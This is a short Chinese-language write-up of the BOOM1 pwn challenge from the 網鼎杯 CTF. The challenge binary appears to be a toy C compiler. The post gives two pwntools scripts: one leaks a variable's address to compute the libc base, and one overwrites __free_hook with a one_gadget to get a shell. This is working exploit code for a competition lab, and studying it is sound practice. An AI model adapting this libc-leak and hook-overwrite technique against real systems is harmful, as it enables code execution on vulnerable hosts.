網鼎杯
阿新 • • 發佈:2020-09-08
BOOM1
看了大佬部落格後,這題我還是沒怎麼整明白。
看到這麼一串東西那這個大概是手動實現了一個簡易的C語言編譯器。經過多次嘗試發現程式沒有什麼限制。所以我們直接寫程式開始利用。
#!/usr/bin/python3 from pwn import * context.terminal = ['tmux', 'splitw', '-h', '-p', '60'] p = process('./pwn') payload = ''' int main() { int a; printf("%p\n", &a); } ''' p.sendafter("living...", payload) p.interactive()
這部分程式碼可以洩漏變數a的地址,由於a是存放在mmap分配的記憶體中,所以與libc基址的偏移是固定的,這樣可以算出libc基址。(對於具體是那個版本的libc,採用這個方法只能逐個嘗試)
拿到libc基址後可以直接得出__free_hook地址,接著向__free_hook中寫入one_gadget即可。
#!/usr/bin/python3 from pwn import * context.terminal = ['tmux', 'splitw', '-h', '-p', '60'] context.log_level = 'debug' p = process('./pwn') payload= """ main() { int b; int libc_base; int *free_hook; libc_base = (int)&b - 0x51efd8; free_hook = libc_base + 0x3c67a8; *free_hook = libc_base + 0x4527a; free(1); } """ a = [0x45226, 0x4527a, 0xf0364, 0xf1207] print(payload) gdb.attach(p) p.sendafter('living...\n', payload) p.interactive()